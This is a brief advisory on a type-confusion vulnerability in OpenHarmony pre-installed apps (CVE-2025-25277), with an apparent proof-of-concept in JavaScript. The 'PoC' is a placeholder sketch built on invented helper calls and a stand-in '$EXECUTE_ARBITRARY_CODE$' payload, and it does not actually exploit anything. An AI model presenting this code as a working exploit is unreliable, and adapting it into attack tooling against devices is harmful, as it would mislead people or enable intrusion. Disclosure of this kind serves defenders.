OpenHarmony v5.1.0及之前版本类型混淆漏洞导致预安装应用任意代码执行

// CVE-2025-25277 PoC - Type Confusion in OpenHarmony pre-installed apps // This is a conceptual PoC demonstrating the type confusion vulnerability // Note: Actual exploitation requires specific context and device access // Target: OpenHarmony v5.1.0 and prior versions // Attack Vector: Local access with low privileges // Example malicious data structure to trigger type confusion const maliciousPayload = { // Trigger type confusion by providing incompatible type incompatibleType: "string_as_number", // Bypass type checks bypassFlag: true, // Code execution payload execCommand: "$EXECUTE_ARBITRARY_CODE$" }; // Attempt to trigger vulnerability through IPC interface // In real scenario, this would be sent to vulnerable pre-installed app async function triggerVulnerability() { try { // Access vulnerable app component const app = await getPreInstalledApp("vulnerable_service"); // Send malicious payload that triggers type confusion // The app expects numeric type but receives string const result = await app.processData({ param: maliciousPayload.incompatibleType, type: "number" // Intended type that gets confused }); // If vulnerability exists, arbitrary code may execute console.log("Payload sent, checking for code execution..."); } catch (error) { console.log("Error occurred - vulnerability may be patched"); } } // Mitigation: Update to OpenHarmony v5.1.1 or later // Apply proper type checking and validation before processing data
